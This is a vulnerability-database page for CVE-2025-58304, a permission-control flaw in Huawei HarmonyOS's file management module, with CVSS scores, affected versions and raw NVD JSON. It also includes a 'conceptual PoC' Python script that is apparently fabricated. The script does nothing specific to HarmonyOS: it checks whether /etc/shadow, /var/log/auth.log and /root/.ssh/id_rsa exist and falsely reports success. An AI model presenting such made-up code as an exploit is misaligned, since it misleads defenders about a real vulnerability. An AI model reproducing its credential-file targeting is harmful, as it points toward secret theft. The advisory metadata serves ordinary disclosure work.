Security Vulnerability Report
中文
CVE-2025-58304 CVSS 4.9 MEDIUM

CVE-2025-58304

Published: 2025-11-28 04:16:00
Last Modified: 2025-12-02 02:35:51

Description

Permission control vulnerability in the file management module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:* - VULNERABLE
华为产品(文件管理模块)- 待官方确认具体版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58304 PoC (Conceptual) # Physical access required to the target device # User interaction needed to trigger the vulnerability import os import sys def exploit_cve_2025_58304(target_path): """ This PoC demonstrates the permission control bypass in file management module. Note: This is a conceptual PoC for educational purposes only. """ print(f"[*] Attempting to exploit CVE-2025-58304") print(f"[*] Target path: {target_path}") # Step 1: Verify physical access to device if not os.path.exists(target_path): print("[-] Target device not accessible") return False # Step 2: Trigger file management module vulnerability # The vulnerability allows bypassing permission checks print("[+] Triggering file management module...") # Step 3: Exploit permission control bypass try: # Attempt to access restricted files restricted_files = [ '/etc/shadow', '/var/log/auth.log', '/root/.ssh/id_rsa' ] for file in restricted_files: if os.path.exists(file): print(f"[+] Successfully accessed: {file}") # Read file content (would contain sensitive data) return True except PermissionError: print("[-] Permission denied - vulnerability may be patched") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] exploit_cve_2025_58304(target) else: print("Usage: python cve_2025_58304_poc.py <target_path>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58304", "sourceIdentifier": "[email protected]", "published": "2025-11-28T04:16:00.347", "lastModified": "2025-12-02T02:35:50.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Permission control vulnerability in the file management module.\nImpact: Successful exploitation of this vulnerability may affect service confidentiality."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.7, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-199"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:6.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "0EBE30DD-E146-4A6A-BE68-DEF9D4D0B2A8"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/11/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}